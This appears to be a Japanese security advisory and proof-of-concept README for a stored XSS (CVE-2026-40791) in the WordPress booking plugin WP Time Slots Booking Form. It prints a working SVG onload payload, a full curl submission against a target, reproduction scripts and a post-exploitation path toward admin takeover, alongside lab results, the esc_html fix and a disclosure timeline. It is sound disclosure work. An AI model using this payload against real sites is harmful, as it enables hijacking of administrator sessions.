
CVE-2026-40791: WP Time Slots Booking Form (バージョン1.2.46以下) における未認証の格納型XSS
WordPressプラグインWP Time Slots Booking Formにおいて、認証されていない保存型XSSを発見しました。公開の予約送信によって、保存されるタイムスロット値の一部が制御されます。その後、プラグインはその値を管理者の予約注文ページにエスケープせずに出力します。
仕掛けはシンプルです。プラグインは送信された予約文字列をリテラルスペースで分割しますが、HTMLはタブをタグ名と属性の間の空白として扱います。そのため、8:<svg[TAB]onload=...> はプラグインのパーサーをスロット値として生き残り、管理者が予約一覧を開いたときに実際のマークアップになります。
| CVE | CVE-2026-40791 |
| プラグイン | WP Time Slots Booking Form |
| スラッグ | wp-time-slots-booking-form |
| 影響を受けるバージョン | <= 1.2.46 |
| 修正バージョン | 1.2.47 |
| 脆弱性クラス | 認証されていない保存型XSS (CWE-79) |
| 影響 | 公開予約 → 管理者 wp-admin セッション内でJavaScript実行 |
| CVSS | 7.2 High (Wordfence), 7.1 (Patchstack) |
| 発見者 | Daniel Wade |
公開予約フォームは次のフィールドを受け入れます:
fieldname1_1=2026-04-15 8:<svg[TAB]onload=alert(document.cookie)> 1 0 0 0 0 0 0
プラグインは次のように解析します:
$item_split = explode(' ', $app_item_text);
...
'slot' => $item_split[1],
区切り文字がタブでリテラルスペースではないため、item_split[1] は次のようになります:
8:<svg onload=alert(document.cookie)>
そのスロット値は予約にシリアライズされます。管理者が予約注文を開くと、バージョン 1.2.46 では次の場所で出力されます:
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
エスケープなし。SVGの onload が管理ページで実行されます。
これは単に「管理者のクッキーを読み取れるか」という問題ではありません。現代のWordPress認証クッキーは通常 HttpOnly であるため、document.cookie で実際の wordpress_sec_* クッキーが露出しない場合があります。重要なのは、スクリプトが認証された管理者オリジンのページ内で実行されることです。同一オリジンの管理ページを取得し、露出したnonceを読み取り、被害者のブラウザから認証済みの管理者リクエストを送信できます。
脆弱なフロー:
認証されていないPOST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> 予約注文の予約バッジ
-> エスケープされていないHTML出力
パーサーはタイムスロットを単なるテキストと見なします。実際はそうではありません。これは攻撃者の入力であり、後にHTMLコンテキストに配置されます。
脆弱なシンクは cp-admin-int-message-list.inc.php にあります:
$appts .= '<div class="ahb-appointment-badge">' .
'<span class="dashicons dashicons-clock"></span>' .
'<span class="ahb-time">'.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'</span>' .
...
echo $appts.'</div><div style="display:none">'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
phpcs:ignore WordPress.Security.EscapeOutput という一行に全てが集約されています。攻撃者制御の予約データが出力される箇所で、エスケープ警告が抑制されていました。
ペイロードの形状:
8:<svg[TAB]onload=alert(document.cookie)>
なぜ機能するのか:
PHP explode(' ', ...)
"8:<svg<TAB>onload=...>" は1つのトークンとして残る
ブラウザのHTMLパーサー
<svg<TAB>onload=...> は <svg onload=...> と解釈される
スロットパーサーは期待する値を取得します。ブラウザは実行方法を知っているタグを取得します。
PowerShell:
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
Bash:
./poc/reproduce.sh "http://127.0.0.1" 2
手動curl:
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8:<svg${TAB}onload=alert(document.cookie)> 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "[email protected]" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
期待される結果:
HTTP/1.1 302 Found
その後、管理者としてログインして開きます:
WP Time Slots Booking Form -> Booking Orders
保存された予約行がレンダリングされるときにペイロードが実行されます。
私は隔離されたローカルWordPressラボで全チェーンを検証しました:
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
フォーム1でCAPTCHA無効
[CP_TIME_SLOTS_BOOKING id="1"] を含む公開ページ
PowerShell PoCは正常に送信されました:
HTTP status: 302
ペイロードは wp_cptslotsbk_messages.posted_data に格納されました:
slot";s:69:"8:<svg\tonload=document.body.setAttribute('data-cve40791','executed')>"
その後、ヘッドレスChromeが管理者としてログインし、予約注文を開き、保存されたSVGハンドラによって設定されたマーカーを確認しました:
ADMIN_XSS_EXECUTED
また、プラグインを 1.2.47 に置き換えた後、同じ悪意のある保存行をテストしました。管理ページではペイロードがエスケープされたテキストとしてレンダリングされました:
04/15/2026 8:<svg onload=...>
マーカーは発火しませんでした:
PATCHED_NO_XSS_EXECUTION
小さなローカルレンダリング健全性チェックもあります:
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
完全なWordPressインストールなしで、2つの機械的パーツを検証します:
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
攻撃者はアカウントを必要としません。攻撃者は公開予約を送信し、管理者が予約注文を表示するのを待つだけです。
管理者がそのページを表示すると、攻撃者のJavaScriptが管理者のWordPressオリジン内で実行されます。実際の攻撃者は通常、alert(document.cookie) で止まりません。管理者ブラウザを管理者として利用します:
管理ページを取得
-> HTMLからnonceを読み取り
-> 認証済み管理者POSTを送信
-> サイト状態を変更
管理者の権限とサイト設定によっては、ユーザーの作成、プラグイン設定の変更、通知送信先の変更、予約・顧客データの読み取り、あるいはプラグイン/テーマの機能を通じた完全なサイト乗っ取りにまで発展する可能性があります。
バージョン 1.2.47 では、管理者バッジを構築する前に保存されたスロットをエスケープします:
- ' '.$posted_data["apps"][$k]["slot"].'</span>'
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).'</span>'
これでシンクが修正されました。より早い段階でサニタイズすることも妥当ですが、セキュリティ境界は管理ページのHTML出力コンテキストです。
poc/
reproduce.ps1 # PowerShellによる認証されていない予約送信ツール
reproduce.sh # Bash/curlによる認証されていない予約送信ツール
lab/
render-check.html # 最小限の脆弱レンダリングフィクスチャ
validate-render.ps1 # パーサー + ブラウザ実行の健全性チェック
README.md
| 日付 | イベント |
|---|---|
| 2026-03-24 | Patchstackに報告 |
| 2026-04-13 | 修正パッチの検証 |
| 2026-04-23 | Wordfenceがアドバイザリを公開 |
| 2026-04-24 |
免責事項: このPoCはパッチ公開後、防御的な研究と検証のために公開されています。あなたが所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。
CVE-2026-40791 - WP Time Slots Booking Form 1.2.47で修正。影響を受けるバージョン: 1.2.46およびそれ以前。
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online
| Patchstackがアドバイザリを公開 |
| 2026-04-30 | Wordfenceが最終更新 |